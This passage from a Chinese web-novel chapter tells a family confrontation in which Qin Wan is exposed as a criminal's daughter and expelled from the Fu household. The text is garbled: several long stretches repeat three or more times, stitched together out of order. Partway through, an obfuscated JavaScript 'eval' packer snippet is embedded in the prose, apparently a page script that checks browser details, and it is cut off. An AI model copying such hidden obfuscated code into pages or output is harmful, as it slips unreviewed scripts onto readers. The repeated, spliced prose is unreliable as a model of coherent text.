刀子没扎她们身上,血没流她们眼前,自然说得轻巧。 她抬眼,看向傅老夫人,声音很静:“老夫人,您的意思我明白了。傅家的脸面要紧,所以我被造谣污蔑,活该受着。我追究,就是不懂事,不顾家。” 傅老夫人脸色一沉。 明嫣却笑了,那笑很淡,没温度:“可您有没有想过,傅家的脸面,不是靠捂着脏事、纵容恶人 撑起来的。是靠规矩,是靠黑白分明。” 她顿了顿,视线转向地上的秦婉:“更何况,秦婉是不是傅家的人,还两说呢。” 这话像颗石子,砸进死水。 傅老夫人脸色骤变,捏着佛珠的手指绷紧:“你什么意思?!” 傅老爷子也抬起眼,眼神沉了下去。 明嫣迎着她的目光,语气平静得像在讨论天气:“外面都传,秦婉是傅修沉的父亲傅承业的私生女。所以老夫人您心疼她,接她回傅家,给她名分,甚至……” 她顿了顿,视线扫过秦婉瞬间惨白的脸,“甚至不惜逼迫霍寒山入赘,也要给她一个风光婚礼。” “这有什么问题?”傅老夫人声音发尖,“婉儿就是承业的女儿!是我傅家正儿八经的血脉!” “是吗?”明嫣轻轻反问。 她从文件袋里,抽出了最后一份东西。 一个普通的档案袋。 “那这份DNA又作何解释?” 这话一出,空气似是凝滞了几分。 倒是秦婉最先反应过来,她心里那点惊慌变成了鄙夷。 原来明嫣说的是这个? 她还以为是什么了不得的把柄! 就这? 这件事,傅家上下谁不知道? 老太太为了脸面,硬把她安在大房名下,大家心照不宣罢了。 也就明嫣这个蠢货,还真当是什么秘密,拿出来说事? 她差点笑出声。 紧绷的肩膀松了下去,秦婉甚至抬起手,擦了擦脸上的泪,眼底飞快地掠过一丝得意。 闹吧,看你能闹出什么花样! 傅老夫人也从最初的震惊中回过神来,她看着明嫣,眼神像淬了毒的刀子。 这丫头,竟然敢拿这件事出来说! 她怎么知道的? 知道了又怎样? 这是傅家的遮羞布,谁也别想扯下来! “明嫣!”傅老夫人声音尖利,“你胡说八道什么?!婉儿的身份早就清清楚楚!她是承业的女儿,是我们傅家正正经经的大小姐!你少在这里搬弄是非!” 她色厉内荏,试图用音量压住心虚。 傅老爷子脸色铁青,胸膛起伏。 这件事,是他心头的一根刺。 当时为了家族颜面,他默许了老太太的做法。 如今被明嫣当众撕开,老脸火辣辣的疼。 “嫣丫头,”他声音沉得吓人,“有些事,过去就过去了。婉儿的身世,傅 家自有定论,不是你该置喙的。” 明嫣看着他们极力掩饰却漏洞百出的样子,唇角那抹冷笑更深了。 “过去就过去了?”她声音不大,却压过了所有的嘈杂,“傅爷爷,傅老夫人,你们真当所有人都是傻子吗?秦婉到底是谁的女儿,你们心里比谁都清楚。把她按在大房名下,是为了傅家的脸面。那我的脸面呢?我的清白,就可以为了傅家的‘脸面’,被随意践踏,然后轻飘飘一句‘道歉’就揭过去?” 她往前走了一步,目光如冰锥,直刺秦婉: “秦婉,你口口声声叫我姐姐,以傅家大小姐自居。可你扪心自问,你配吗?” 秦婉被她看得心头一慌,但想到那“公开的秘密”,又强撑着扬起下巴:“明嫣,我知道你恨我,但你不能侮辱我过世的父亲!我是傅承业的女儿,这是铁一般的事实!奶奶,爷爷,你们要为我做主啊!” 她又哭起来,这次带上了委屈。 傅老夫人立刻喝道:“够了!明嫣,你今天是非要把傅家的脸面撕碎了踩在脚下才甘心吗?!我已经说了,婉儿道歉,这件事到此为止!你若再纠缠不清,就别怪我这个做长辈的不讲情面!” 眼看气氛僵持到极点,剑拔**张—— “哦?怎么个不讲情面法?” 一道低沉冷冽的嗓音,毫无预兆地自门口响起。 声音不高,却带着穿透一切嘈杂的力度,瞬间攫住了所有人的心神。 众人悚然一惊,齐齐转头。 只见客厅入口处,傅修沉不知何时站在那里。 他穿着一身黑色西装,外面罩着同色长大衣,肩头落着外面带来的寒气。 身姿挺拔如松柏,逆着廊下的光,面容轮廓有些模糊,但那双深邃眼眸里透出的冷光,却像淬了冰的刀锋,精准地扫过客厅里的每一个人。 他的视线最先落在明嫣身上,看到她挺直的脊背和微白的脸色,眸色沉了沉。 随即,目光转向傅老夫人和秦婉,那里面只剩下全然的冰冷和厌恶。 他迈步走进来,皮鞋踩在地板上,发出沉稳的声响,每一步都像敲在人心上。 傅老爷子看到他,脸色更加复杂。 傅老夫人则是又惊又怒。 想到自己的宝贝小儿子如今还被关在监狱里,恐怕下半生就要耗死在牢里,她眸底的恨意几乎要掩饰不住。 她不由得深吸了一口气,强压下心中的恨意,冷声道,“修沉!你看看你这个未婚妻,把家里搅成什么样子!一点 小事不依不饶,还要翻婉儿的旧账!傅家的脸都快丢尽了!” 傅修沉脚步在明嫣身边停下。 他没看秦婉,也没理会傅老夫人。 他侧头,看向明嫣,低声问:“没事儿吧?” 明嫣摇了摇头,没说话,但紧绷的身体微微放松了一些。 傅修沉这才抬眸,目光落在秦婉脸上。 那眼神,冰冷,疏离,不带一丝温度。 秦婉被他看得心头一凉,但还是努力挤出更可怜的表情:“大哥……” “担不起!”傅修沉开口,打断了她的话,声音平静无波,却字字清晰,“我父亲没有你这么个女儿。” 秦婉脸上的表情瞬间僵住。 傅老夫人猛地站起身:“修沉!你什么意思?!” 傅修沉看也没看她,视线依旧锁着秦婉,唇角勾起一抹极淡的,近乎残酷的弧度: “不过,你既然这么想认爹……” 他顿了顿,在秦婉骤然收缩的瞳孔注视下,缓缓吐出后面的话: “我倒是可以,帮你认一个。” 话音落下的瞬间,客厅里所有人都愣住了。 帮他认一个? 认谁? 傅老夫人最先反应过来,她以为傅修沉是在讽刺如今身在牢狱的傅承平,是在打她的脸! 是在报复她刚才逼迫明嫣! 她气得浑身发抖,脸色铁青,指着傅修沉:“孽障!你这个孽障!承平是你二叔!他已经……已经那样了!你还要拿他来羞辱婉儿,羞辱我吗?!你是不是非要逼死我们才甘心?!” 秦婉也以为傅修沉说的是傅承平,心里虽然**,但更多的是松了一口气。 不管是认傅承平还是傅承业,她都是傅家的千金大小姐! 反正大家不都心知肚明吗? 傅修沉微微侧头,对着门外,冷冷吐出两个字: “带进来。” 带进来? 带谁? 一股强烈的不安瞬间攫住了秦婉的心脏! 傅老夫人也停止了咒骂,惊疑不定地看向门口。 在所有人惊恐、疑惑、紧张的注视下—— 两个穿着黑色西装身材高大的男人,押着一个满脸胡茬的男人走了进来。 那男人被反剪着双手,低垂着头,一身的狼狈落魄。 可当他被押到客厅中央,被迫抬起头时—— “啊——!” 秦婉发出一声短促而尖利的惊叫,脸上的血色在瞬 间褪得干干净净! 她死死地盯着那个男人,身体控制不住地剧烈颤抖起来,嘴唇哆嗦着,却发不出任何声音。 是舅舅! 他……他不是已经偷渡出国了吗?! 怎么会出现在这儿? 傅老夫人也认出了赵老四,知道他是秦婉的母亲秦晓林的表哥。 她不明白傅修沉把这条丧家之犬押上来干什么,但不知怎么,一种不祥的预感让她心头猛地一跳。 傅老爷子眉头紧锁,看着这场面,隐约感觉到了不对劲。 傅修沉居高临下地看着瘫软在地的秦婉,又扫了一眼惊疑不定的傅老夫人,最后,目光落在明嫣脸上。 明嫣迎着他的目光,唇角缓缓勾起一抹笑意。 “秦婉,还愣着干什么?”她扭头看向秦婉,“亲生父亲就在面前,不敢认吗?” 轰隆—— 这句话,如同九天惊雷,在傅家老宅的客厅里狠狠炸开! 秦婉整个人如遭雷击,猛地抬起头,难以置信地瞪着明嫣,又猛地转头看向狼狈不堪的赵老四,瞳孔缩成了针尖! “不……不是……你胡说!你胡说八道!!”她失声尖叫,声音扭曲破碎,疯了一样想扑向明嫣,却被傅修沉的人死死按住。 傅老夫人踉跄着后退一步,撞在太师椅上,发出哐当一声。 她看着赵老四,又看看状若疯癫的秦婉,脑子里嗡嗡作响,一个可怕的猜测让她浑身发冷。 不…… 这……这怎么可能? 秦婉她……不是承平的女儿吗? 怎么…… 而此时的傅老爷子猛地站起身,脸色铁青,胸口剧烈起伏,指着赵老四,声音因为震惊和愤怒而发抖:“他……他是……?” 赵老四被押着,面对这一切,脸上露出一种破罐子破摔的惨笑。 他知道,完了,全完了。 傅修沉走到明嫣身边,揽住她的肩膀,看向傅老爷子,声音冰冷地掷出最后的重锤: “老爷子,DNA鉴定报告不是放在这儿了吗?您过目……” 傅老爷子连忙拿起面前的报告,瞳孔猛缩! “秦婉,是赵老四和秦晓林的亲生女儿。跟我父亲,还有跟傅承平——”傅修沉顿了顿,目光扫过面无人色的傅老夫人和彻底崩溃的秦婉,一字一句,斩钉截铁:“都没有半点关系。” “傅家大小姐?”他嗤笑,那笑声里的厌恶和轻蔑毫不掩饰,“她也配?” 间褪得干干净净! 她死死地盯着那个男人,身体控制不住地剧烈颤抖起来,嘴唇哆嗦着,却发不出任何声音。 是舅舅! 他……他不是已经偷渡出国了吗?! 怎么会出现在这儿? 傅老夫人也认出了赵老四,知道他是秦婉的母亲秦晓林的表哥。 她不明白傅修沉把这条丧家之犬押上来干什么,但不知怎么,一种不祥的预感让她心头猛地一跳。 傅老爷子眉头紧锁,看着这场面,隐约感觉到了不对劲。 傅修沉居高临下地看着瘫软在地的秦婉,又扫了一眼惊疑不定的傅老夫人,最后,目光落在明嫣脸上。 明嫣迎着他的目光,唇角缓缓勾起一抹笑意。 “秦婉,还愣着干什么?”她扭头看向秦婉,“亲生父亲就在面前,不敢认吗?” 轰隆—— 这句话,如同九天惊雷,在傅家老宅的客厅里狠狠炸开! 秦婉整个人如遭雷击,猛地抬起头,难以置信地瞪着明嫣,又猛地转头看向狼狈不堪的赵老四,瞳孔缩成了针尖! “不……不是……你胡说!你胡说八道!!”她失声尖叫,声音扭曲破碎,疯了一样想扑向明嫣,却被傅修沉的人死死按住。 傅老夫人踉跄着后退一步,撞在太师椅上,发出哐当一声。 她看着赵老四,又看看状若疯癫的秦婉,脑子里嗡嗡作响,一个可怕的猜测让她浑身发冷。 不…… 这……这怎么可能? 秦婉她……不是承平的女儿吗? 怎么…… 而此时的傅老爷子猛地站起身,脸色铁青,胸口剧烈起伏,指着赵老四,声音因为震惊和愤怒而发抖:“他……他是……?” 赵老四被押着,面对这一切,脸上露出一种破罐子破摔的惨笑。 他知道,完了,全完了。 傅修沉走到明嫣身边,揽住她的肩膀,看向傅老爷子,声音冰冷地掷出最后的重锤: “老爷子,DNA鉴定报告不是放在这儿了吗?您过目……” 傅老爷子连忙拿起面前的报告,瞳孔猛缩! “秦婉,是赵老四和秦晓林的亲生女儿。跟我父亲,还有跟傅承平——”傅修沉顿了顿,目光扫过面无人色的傅老夫人和彻底崩溃的秦婉,一字一句,斩钉截铁:“都没有半点关系。” “傅家大小姐?”他嗤笑,那笑声里的厌恶和轻蔑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“秦婉,是赵老四和秦晓林的亲生女儿。跟我父亲,还有跟傅承平——”傅修沉顿了顿,目光扫过面无人色的傅老夫人和彻底崩溃的秦婉,一字一句,斩钉截铁:“都没有半点关系。” “傅家大小姐?”他嗤笑,那笑声里的厌恶和轻蔑毫不掩饰,“她也配?” 间褪得干干净净! 她死死地盯着那个男人,身体控制不住地剧烈颤抖起来,嘴唇哆嗦着,却发不出任何声音。 是舅舅! 他……他不是已经偷渡出国了吗?! 怎么会出现在这儿? 傅老夫人也认出了赵老四,知道他是秦婉的母亲秦晓林的表哥。 她不明白傅修沉把这条丧家之犬押上来干什么,但不知怎么,一种不祥的预感让她心头猛地一跳。 傅老爷子眉头紧锁,看着这场面,隐约感觉到了不对劲。 傅修沉居高临下地看着瘫软在地的秦婉,又扫了一眼惊疑不定的傅老夫人,最后,目光落在明嫣脸上。 明嫣迎着他的目光,唇角缓缓勾起一抹笑意。 “秦婉,还愣着干什么?”她扭头看向秦婉,“亲生父亲就在面前,不敢认吗?” 轰隆—— 这句话,如同九天惊雷,在傅家老宅的客厅里狠狠炸开! 秦婉整个人如遭雷击,猛地抬起头,难以置信地瞪着明嫣,又猛地转头看向狼狈不堪的赵老四,瞳孔缩成了针尖! “不……不是……你胡说!你胡说八道!!”她失声尖叫,声音扭曲破碎,疯了一样想扑向明嫣,却被傅修沉的人死死按住。 傅老夫人踉跄着后退一步,撞在太师椅上,发出哐当一声。 她看着赵老四,又看看状若疯癫的秦婉,脑子里嗡嗡作响,一个可怕的猜测让她浑身发冷。 不…… 这……这怎么可能? 秦婉她……不是承平的女儿吗? 怎么…… 而此时的傅老爷子猛地站起身,脸色铁青,胸口剧烈起伏,指着赵老四,声音因为震惊和愤怒而发抖:“他……他是……?” 赵老四被押着,面对这一切,脸上露出一种破罐子破摔的惨笑。 他知道,完了,全完了。 傅修沉走到明嫣身边,揽住她的肩膀,看向傅老爷子,声音冰冷地掷出最后的重锤: “老爷子,DNA鉴定报告不是放在这儿了吗?您过目……” 傅老爷子连忙拿起面前的报告,瞳孔猛缩! “秦婉,是赵老四和秦晓林的亲生女儿。跟我父亲,还有跟傅承平——”傅修沉顿了顿,目光扫过面无人色的傅老夫人和彻底崩溃的秦婉,一字一句,斩钉截铁:“都没有半点关系。” “傅家大小姐?”他嗤笑,那笑声里的厌恶和轻蔑毫不掩饰,“她也配?” 间褪得干干净净! 她死死地盯着那个男人,身体控制不住地剧烈颤抖起来,嘴唇哆嗦着,却发不出任何声音。 是舅舅! 他……他不是已经偷渡出国了吗?! 怎么会出现在这儿? 傅老夫人也认出了赵老四,知道他是秦婉的母亲秦晓林的表哥。 她不明白傅修沉把这条丧家之犬押上来干什么,但不知怎么,一种不祥的预感让她心头猛地一跳。 傅老爷子眉头紧锁,看着这场面,隐约感觉到了不对劲。 傅修沉居高临下地看着瘫软在地的秦婉,又扫了一眼惊疑不定的傅老夫人,最后,目光落在明嫣脸上。 明嫣迎着他的目光,唇角缓缓勾起一抹笑意。 “秦婉,还愣着干什么?”她扭头看向秦婉,“亲生父亲就在面前,不敢认吗?” 轰隆—— 这句话,如同九天惊雷,在傅家老宅的客厅里狠狠炸开! 秦婉整个人如遭雷击,猛地抬起头,难以置信地瞪着明嫣,又猛地转头看向狼狈不堪的赵老四,瞳孔缩成了针尖! “不……不是……你胡说!你胡说八道!!”她失声尖叫,声音扭曲破碎,疯了一样想扑向明嫣,却被傅修沉的人死死按住。 傅老夫人踉跄着后退一步,撞在太师椅上,发出哐当一声。 她看着赵老四,又看看状若疯癫的秦婉,脑子里嗡嗡作响,一个可怕的猜测让她浑身发冷。 不…… 这……这怎么可能? 秦婉她……不是承平的女儿吗? 怎么…… 而此时的傅老爷子猛地站起身,脸色铁青,胸口剧烈起伏,指着赵老四,声音因为震惊和愤怒而发抖:“他……他是……?” 赵老四被押着,面对这一切,脸上露出一种破罐子破摔的惨笑。 他知道,完了,全完了。 傅修沉走到明嫣身边,揽住她的肩膀,看向傅老爷子,声音冰冷地掷出最后的重锤: “老爷子,DNA鉴定报告不是放在这儿了吗?您过目……” 傅老爷子连忙拿起面前的报告,瞳孔猛缩! “秦婉,是赵老四和秦晓林的亲生女儿。跟我父亲,还有跟傅承平——”傅修沉顿了顿,目光扫过面无人色的傅老夫人和彻底崩溃的秦婉,一字一句,斩钉截铁:“都没有半点关系。” “傅家大小姐?”他嗤笑,那笑声里的厌恶和轻蔑毫不掩饰,“她也配?” 第205章 怀孕!(二合一大章) 秦婉瘫在地上,脸上血色褪得干干净净,嘴唇哆嗦着。 “不……不是……”她喉咙里发出嗬嗬的怪响,机械地摇头,“你胡说……你们都在胡说!我是傅承平的女儿!我是傅家大小姐!奶奶!奶奶你说话啊!” 她猛地转向傅老夫人,像是抓住最后一根救命稻草。 可傅老夫人此时却瘫在太师椅旁,那张保养得宜的脸此刻灰败得像陈年旧纸。 她死死盯着赵老四,又缓缓移向秦婉,浑浊的眼珠里翻涌着惊骇和暴怒。 “不……”她嘴唇颤抖,猛地往前踉跄一步,伸出手,却不是去扶秦婉,而是抓向茶几上那份DNA报告。 她要亲眼看看! 她不信! 承平明明说过…… 婉儿是承平的孩子! 是她的小孙女! 那是承平在这世上留下来的唯一的骨血! 怎么会是赵老四这个下三滥的种?! “妈!”傅承慧惊呼一声,想拦,却没拦住。 傅老夫人枯瘦的手抓住那个文件袋,颤抖着想要打开,手指却不停使唤,几次都没扯开扣绳。 她呼吸越来越急,胸口剧烈起伏,老脸涨得发紫。 “妈!您别激动!”傅承慧冲过去扶她。 傅老夫人却一把挥开女儿的手,用尽力气撕扯着文件袋。 终于,“刺啦”一声,文件袋破了,里面的纸张散落出来,哗啦啦掉了一地。 当看清上面的内容—— 她身体猛地一僵,喉咙里发出一声短促的抽气,瞳孔骤然放大。 随即,整个人像截被砍断的木头,直挺挺地向后倒去! “妈——!”傅承慧发出一声撕心裂肺的尖叫,扑上去想接,却被傅老夫人沉重的身体带得一起摔倒在地。 “老夫人!” “快!快叫医生!” 客厅瞬间乱作一团。 佣人惊慌失措地跑进来,七手八脚想去扶。 傅老爷子铁青着脸站在原地,胸口剧烈起伏,拐杖重重杵着地面,发出沉闷的咚咚声,却一个字也说不出来。 一片混乱中,只有傅修沉和明嫣站着没动。 傅修沉的手还揽在明嫣肩头,指尖无意识地摩挲着她大衣的料子。 他冷眼看着眼前的兵荒马乱,脸上没什么表情。 明嫣则是面无表情地看向秦婉…… 而此时的秦婉还瘫在原地,她眼神涣散,嘴里喃喃着“不可能”,直到看 见明嫣投来的目光—— “是你——”她猛地抬起头,眼睛血红,死死剜着明嫣,声音尖利得破了音,“是你伪造的!明嫣!你这个**!你伪造证据害我!你恨我抢了寒山!你就用这种下作手段毁我!你不得好死!” 她一边嘶吼,一边挣扎着想从地上爬起来,手脚并用,姿态狼狈又疯狂。 傅修沉眉头都没动一下,只微微抬了抬下巴。 押着赵老四的一个黑衣男人立刻松开手,两步上前,在秦婉刚支起半个身子时,一把攥住了她精心打理过的长发,毫不留情地向后一扯! “啊——!”秦婉头皮传来撕裂般的剧痛,惨叫一声,脖子被迫高高仰起,整个人被那股力道拖得跪立起来,脸正正对着几步外同样被押着的面色死灰的赵老四。 傅修沉这才松开明嫣,缓步走到秦婉面前。 他微微俯身,阴影笼罩下来。 光线从他肩头流泻,将他侧脸分割成明暗两半,眼尾那颗朱砂痣红得刺目。 他看着秦婉因疼痛和恐惧而扭曲的脸,极慢地弯了弯唇。 那笑意很淡,近乎残酷。 “你之前是不是还遗憾过……”他开口,声音不高,却清晰得压过所有嘈杂,“怎么他不是你亲生父亲啊。” 秦婉瞳孔骤缩。 “现在你如愿了。”傅修沉盯着她的眼睛,一字一句,像钝刀子割肉:“秦婉……” “恭喜你,如今是**犯的女儿。” **犯…… 这几个字像烧红的烙铁,狠狠烫在秦婉的耳膜上。 她浑身剧烈地一颤,连头皮被撕扯的疼痛都忘了,只是瞪大眼睛,难以置信地看着傅修沉,又猛地转向近在咫尺的赵老四。 赵老四避开了她的视线,那张带着亡命徒戾气的脸上,第一次露出了类似羞愧和难堪的神色,深深低下头去。 “不……”秦婉从喉咙深处挤出破碎的音节,开始是喃喃,随即变成尖厉的嘶喊,“我不是!我不是什么**犯的女儿!傅修沉你污蔑我!你污蔑我舅舅!” “舅舅?”傅修沉嗤笑一声,直起身,对押着赵老四的人抬了抬手指。 那人会意,猛地将赵老四的头抬起来,迫使他面对秦婉。 “看清楚了,”傅修沉声音冰冷,“这张脸,跟你像不像?” 秦婉被迫看着赵老四。 那高挺的鼻梁,深陷的眼窝,硬朗的下颌线…… 往日只觉得是舅舅的相貌特征,此刻在极致的恐惧和暗示下, 竟真的从那张布满风霜的脸上,看出了几分与自己相似的轮廓。 她猛地摇头,疯狂地摇头,眼泪混着鼻涕一起流下来:“不像!一点都不像!他是舅舅!是我妈妈的表哥!你们骗我!你们联合起来害我!” “害你?”一直沉默的明嫣终于开口。 她走上前,从那个厚厚的文件袋里,又抽出几样东西,蹲下身,平铺在秦婉面前的地面上。 “这是你母亲秦晓林当年在县城卫生院的孕检记录,胎儿父亲一栏,写的是赵建国。赵建国,就是赵老四的本名。” 一张泛黄的病历纸被推到眼前,字迹模糊,但那个名字和日期清晰可辨。 “还有这些,”明嫣语气平静,像在陈述与己无关的事实,“是赵老四手下几个老人的口供,他们证实,这些年赵老四一直暗中关照你们母女,秦晓林能顺利攀上傅承平,也是因为赵老四。” 最后几页,是手写的证词,按着红手印。 证据一样样摊开,像一把把冰冷的解剖刀,将秦婉光鲜亮丽的外衣层层剥开,露出底下不堪入目的真相。 秦婉的呼吸越来越急促,眼睛赤红地瞪着那些纸张,仿佛要将它们烧穿。 “假的……都是假的……”她声音发颤,满脸的不敢置信。 她像是突然想到了什么,猛地抬头看向赵老四。 她眼珠赤红,胸口剧烈起伏,喉咙里滚出怪响。 “不是……”她嘶声,声音裂了,“我不是……我不是!!!” 她猛地挣开钳制她头发的力道,不知哪来的力气,竟手脚并用地扑向了赵老四! “都是你!都是你这个下三滥!你毁了我!你毁了我!!!” 她尖叫着,扬起手,用尽全身力气,狠狠扇向赵老四的脸! “啪——!” 清脆的耳光炸在死寂的客厅里。 赵老四被打得偏过头,脸上瞬间浮起鲜红的指印。 他没躲,也没吭声,就那么受着,眼神灰败。 秦婉却像被这一巴掌点燃了,癫狂彻底吞噬了她。 “你怎么不**!你为什么不**!!你这种垃圾为什么是我爸!为什么!!!” 她一边哭嚎,一边疯了一样左右开弓,巴掌雨点似的落在赵老四脸上、头上。 “啪!啪!啪!” 一声比一声响,一声比一声狠。 指甲刮破了赵老四粗糙的脸皮,渗出血丝。 “我应该是傅家大小姐!我应该是!都是你!你这 个**犯!你为什么要生我!你**啊!!!” 她撕扯他的头发,用指甲抠他的眼睛,像一头彻底失去理智的野兽。 赵老四始终没还手,也没躲,任由她发泄。 嘴角破了,颧骨青了,他啐出一口带血的唾沫,闭上了眼。 傅修沉冷眼看着,好大一会儿才抬了抬手。 两个黑衣手下立刻上前,一左一右架住了失控的秦婉,将她从赵老四身上拖开。 “放开我!你们放开我!我要杀了这个畜生!我要杀了他!!!”秦婉双腿乱蹬,拼命挣扎,头发散乱,妆容糊了一脸,哪还有半点平日精心打扮的模样。 傅修沉没看她,转向一旁噤若寒蝉的几个佣人。 “把她身上傅家的东西,”他开口,声音不大,却让所有人脊背一凉,“摘干净。” 秦婉的哭骂戛然而止。 她猛地转头,瞳孔因为极致的恐惧而放大:“你……你想干什么?!你们别过来!你敢?!” 佣人立刻上手,毫不怜惜地扯下她的钻石耳环、珍珠项链、翡翠手镯…… 每一下都扯得秦婉生疼,皮肤留下红痕。 她像个人偶,不再挣扎,只是空洞地看着那些曾经象征她身份的东西被一样样夺走,扔进一个随手拿来的托盘里,叮当作响。 什么都没了。 傅修沉看着托盘里那堆珠光宝气,眼中掠过一丝讥诮。 他上前一步,在秦婉空洞的目光注视下,抬脚将那个装满珠宝的托盘踢向角落。 “哐啷——!” 托盘翻倒,珠宝滚落一地。 “扔出去。”傅修沉收回脚,声音没有起伏。 秦婉浑身一震,猛地抬头。 “不……大哥!我错了!我真的知道错了!”她扑通一声跪下来,膝行着想去抓傅修沉的裤脚,“你饶了我,就饶我这一次!我以后当牛做马报答你!我给明嫣磕头!我给她赔罪!你让我做什么都行!别赶我走!我不能离开傅家!我离开了我会死的!!!” 她哭得撕心裂肺,额头一下下磕在地板上,发出沉闷的响声。 可傅修沉只是往后退了半步,避开了她的触碰。 他居高临下地看着她,眼底没有丝毫动容。 他对架着秦婉的人抬了抬下巴。 那两人立刻会意,拖起瘫软的秦婉,毫不留情地朝大门外走去。 “不——!!!”秦婉爆发出凄厉到极致的尖叫,双腿拼命蹬踹,手指在空中胡乱抓着,仿佛 想抓住什么根本不存在的救命稻草。 就在被拖出客厅大门,即将投入外面凛冽寒风中的瞬间—— 秦婉猛地瞪大眼睛,胸口像是被巨石狠狠砸中,一口气卡在喉咙里,上不来,下不去。 她张着嘴,像条离水的鱼,徒劳地翕动着。 眼前阵阵发黑。 最后映入眼帘的,是傅修沉冷漠转身的背影,和明嫣平静无波的眼神。 然后,黑暗吞噬了一切。 她头一歪,彻底失去了意识。 …… 秦婉是在一股浓烈的消毒水气味中恢复意识的。 眼皮沉得像灌了铅,她费力地睁开,视线模糊了好一阵,才看清头顶惨白的天花板,和悬挂着的输液瓶。 是在医院。 她动了动,浑身像散了架似的疼,尤其是脸,火辣辣的。 记忆潮水般涌回。 “啊——!!!” 她猛地从病床上弹坐起来,发出一声凄厉的尖叫,双手疯狂地撕扯着自己的头发和身上的病号服。 “假的!都是假的!我是傅家大小姐!我是!我是傅承平的女儿!我不是**犯的种!不是!!!” “婉儿!婉儿你冷静点!”秦晓林扑到床边,试图按住疯狂挣扎的女儿。 她眼睛红肿,显然哭了很久,脸色憔悴不堪。 “妈!”秦婉像是抓住了救命稻草,反手死死攥住秦晓林的手腕,指甲几乎掐进她肉里,“妈你告诉我!那些都是假的!是明嫣那个**伪造的!对不对?!我是傅承平的女儿!是你和傅承平生的!对不对?!你说啊!!!” 她声音嘶哑,眼神癫狂,死死盯着秦晓林,仿佛要从她脸上盯出一个肯定的答案。 秦晓林被她掐得生疼,眼泪又涌了上来。 “婉儿……你……你先别激动,你身上还有伤……”她试图安抚。 “我问你话!”秦婉猛地甩开她的手,声音拔高,尖锐刺耳,“我到底是谁的女儿?!你说!你说啊!!!” 秦晓林被她吼得浑身一颤,嘴唇哆嗦着,眼泪大颗大颗往下掉。 她垂下眼,不敢看女儿疯狂的眼睛,喉咙里挤出破碎的音节:“婉儿……是妈妈对不起你……是妈妈……” “我要听的不是这个!”秦婉歇斯底里地打断她,抓住她的肩膀用力摇晃,“我要你告诉我,我是傅承平的女儿!我是傅家的大小姐!你说!你说我是!!” 秦晓林被她摇得头晕目眩,终于崩溃,哭出声:“婉儿……你别逼妈妈了……” “轰——!” 最后一丝侥幸被彻底碾碎。 秦婉僵在原地,抓着她肩膀的手无力地滑落。 她呆呆地看着秦晓林。 不是假的。 明嫣没伪造。 傅修沉没冤枉她。 她秦婉,真的不是傅家的种。 她是赵老四这个**犯、下三滥的私生女。 一个冒牌货。 一个笑话。 “哈哈……哈哈哈……”她忽然低低地笑起来,笑声一开始很轻,随即越来越大,越来越尖利,充满了疯狂和绝望,“哈哈哈……我是**犯的女儿……哈哈哈……傅家大小姐?我他妈是个野种!是个没人要的野种!!!” “婉儿!你别这样!”秦晓林连忙安抚她,“你冷静点!冷静点!你还怀着孩子啊!” “孩子?”秦婉笑声戛然而止。 她缓缓转过头,眼神空洞地看着秦晓林:“什么孩子?” 想抓住什么根本不存在的救命稻草。 就在被拖出客厅大门,即将投入外面凛冽寒风中的瞬间—— 秦婉猛地瞪大眼睛,胸口像是被巨石狠狠砸中,一口气卡在喉咙里,上不来,下不去。 她张着嘴,像条离水的鱼,徒劳地翕动着。 眼前阵阵发黑。 最后映入眼帘的,是傅修沉冷漠转身的背影,和明嫣平静无波的眼神。 然后,黑暗吞噬了一切。 她头一歪,彻底失去了意识。 …… 秦婉是在一股浓烈的消毒水气味中恢复意识的。 眼皮沉得像灌了铅,她费力地睁开,视线模糊了好一阵,才看清头顶惨白的天花板,和悬挂着的输液瓶。 是在医院。 她动了动,浑身像散了架似的疼,尤其是脸,火辣辣的。 记忆潮水般涌回。 “啊——!!!” 她猛地从病床上弹坐起来,发出一声凄厉的尖叫,双手疯狂地撕扯着自己的头发和身上的病号服。 “假的!都是假的!我是傅家大小姐!我是!我是傅承平的女儿!我不是**犯的种!不是!!!” “婉儿!婉儿你冷静点!”秦晓林扑到床边,试图按住疯狂挣扎的女儿。 她眼睛红肿,显然哭了很久,脸色憔悴不堪。 “妈!”秦婉像是抓住了救命稻草,反手死死攥住秦晓林的手腕,指甲几乎掐进她肉里,“妈你告诉我!那些都是假的!是明嫣那个**伪造的!对不对?!我是傅承平的女儿!是你和傅承平生的!对不对?!你说啊!!!” 她声音嘶哑,眼神癫狂,死死盯着秦晓林,仿佛要从她脸上盯出一个肯定的答案。 秦晓林被她掐得生疼,眼泪又涌了上来。 “婉儿……你……你先别激动,你身上还有伤……”她试图安抚。 “我问你话!”秦婉猛地甩开她的手,声音拔高,尖锐刺耳,“我到底是谁的女儿?!你说!你说啊!!!” 秦晓林被她吼得浑身一颤,嘴唇哆嗦着,眼泪大颗大颗往下掉。 她垂下眼,不敢看女儿疯狂的眼睛,喉咙里挤出破碎的音节:“婉儿……是妈妈对不起你……是妈妈……” “我要听的不是这个!”秦婉歇斯底里地打断她,抓住她的肩膀用力摇晃,“我要你告诉我,我是傅承平的女儿!我是傅家的大小姐!你说!你说我是!!” 秦晓林被她摇得头晕目眩,终于崩溃,哭出声:“婉儿……你别逼妈妈了……” “轰——!” 最后一丝侥幸被彻底碾碎。 秦婉僵在原地,抓着她肩膀的手无力地滑落。 她呆呆地看着秦晓林。 不是假的。 明嫣没伪造。 傅修沉没冤枉她。 她秦婉,真的不是傅家的种。 她是赵老四这个**犯、下三滥的私生女。 一个冒牌货。 一个笑话。 “哈哈……哈哈哈……”她忽然低低地笑起来,笑声一开始很轻,随即越来越大,越来越尖利,充满了疯狂和绝望,“哈哈哈……我是**犯的女儿……哈哈哈……傅家大小姐?我他妈是个野种!是个没人要的野种!!!” “婉儿!你别这样!”秦晓林连忙安抚她,“你冷静点!冷静点!你还怀着孩子啊!” “孩子?”秦婉笑声戛然而止。 她缓缓转过头,眼神空洞地看着秦晓林:“什么孩子?” 想抓住什么根本不存在的救命稻草。 就在被拖出客厅大门,即将投入外面凛冽寒风中的瞬间—— 秦婉猛地瞪大眼睛,胸口像是被巨石狠狠砸中,一口气卡在喉咙里,上不来,下不去。 她张着嘴,像条离水的鱼,徒劳地翕动着。 眼前阵阵发黑。 